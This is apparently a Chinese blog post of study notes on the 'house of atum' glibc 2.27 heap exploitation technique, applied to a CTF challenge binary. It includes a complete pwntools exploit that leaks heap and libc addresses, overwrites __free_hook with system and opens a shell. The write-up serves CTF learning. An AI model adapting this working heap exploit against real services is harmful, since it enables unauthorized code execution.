house of atum
发表于:2021-06-11 |
字数统计: 759 | 阅读时长: 3分钟 | 阅读量:

house of atum 学习笔记

跟着《ctf权威指南(pwn篇)》这本书来学习pwn,准备把这本书的例题一个一个认真啃完。

使用条件

当申请chunk的大小被固定时,无法将chunk放入unsorted,且允许获取的chunk很少时。

原理

tcache bin中的chunk的next指针与fastbins的fd指针位置不匹配。如果fastbins中有多个chunk,且tcache中的chunk未填满,则当从fastbins中获得了一个chunk后,剩余的chunk会被整合到tcache中(整合到tcache满为止,smallbin相同)

利用

释放8个相同的chunk(大小满足fastbins),这样第8个freechunk将会被放入fastbins中,且fd指针会被置为0,又因为释放的是相同的chunk,所以tcache中也只有一个freechunk。申请一个chunk(将会从tcahe中获得)将获得的chunk中的fd指针改为chunk-0x20,这时,在fastbins中的chunk的fd指针会变为chunk-0x10,再申请一个chunk,将会从fastbins中获取,但tcache的counts是6,所以在fastbins中剩余的一个freechunk(chunk-0x10)被放入tcache中,这样就能控制chunk的prev_size和size了。

例题

House of Atum

保护全开,libc-2.27

image-20210611211956567

正常的菜单题,只允许申请两个chunk,有edit,show函数,漏洞在dele函数中

image-20210611212307188

先申请两个chunk,记为chunk0、chunk1。**chunk1需要写入p64(0)*7+p64(0x11)**,这一步是为了防止后面修改chunk的size后对其进行释放时报错。先连续释放6次chunk1,可以泄露heap_base。

再连续释放2次chunk0,使tcache和fastbins中都只有一个freechunk0.接着申请一个chunk,并写入chunk0-0x20,再申请一个chunk1。释放chunk1,再次申请,此时写入p64(0)+p64(0x91),就相当于修改了chunk0的size域,再释放8次chunk0,泄露得到libcbase。再修改free_hook为 system函数,拿到shell。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
io = process('./houseofAtum')
elf = ELF('./houseofAtum')
libc = elf.libc
context(log_level = 'debug')
def add(a1):
io.sendlineafter('choice:','1')
io.sendlineafter('content:',a1)

def edit(a1,a2):
io.sendlineafter('choice:','2')
io.sendlineafter('idx:',str(a1))
io.sendafter('content:',a2)

def dele(a1,a2):
io.sendlineafter('choice:','3')
io.sendlineafter('idx:',str(a1))
io.sendlineafter('(y/n):',a2)

def show(a1):
io.sendlineafter('choice:','4')
io.sendlineafter('idx:',str(a1))

def exp():
add('0')
payload = p64(0)*7+p64(0x11)
add(payload)
for i in range(5):
dele(1,'n')
show(1)
io.recvuntil('Content:')
heap_base = u64(io.recv(6).ljust(8,'\x00'))-0x2a0
print(hex(heap_base))

dele(1,'y')
dele(0,'n')
dele(0,'y')
payload = p64(heap_base+0x250-0x20)
#pause()
add(payload)
add('1')
#pause()
dele(1,'y')
payload = p64(0)+p64(0x91)
add(payload)
#pause()
for i in range(7):
dele(0,'n')
dele(0,'y')
edit(1,'a'*0x10)
#pause()
show(1)
io.recvuntil('Content:')
io.recv(0x10)
malloc_hook = u64(io.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-96-16
libcbase = malloc_hook - libc.symbols['__malloc_hook']
print(hex(libcbase))
system = libcbase + libc.symbols['system']
free_hook = libcbase + libc.symbols['__free_hook']

edit(1,p64(0)+p64(0x51)+p64(free_hook-0x20))
payload = p64(free_hook-0x10)
add(payload)
dele(0,'y')
payload = '/bin/sh\x00'*2+p64(system)
add(payload)
io.sendlineafter('choice:','3')
io.sendlineafter('idx:','0')
io.interactive()

exp()
上一篇:
强网杯2021pwn
下一篇:
ciscn 西北分区赛部分pwn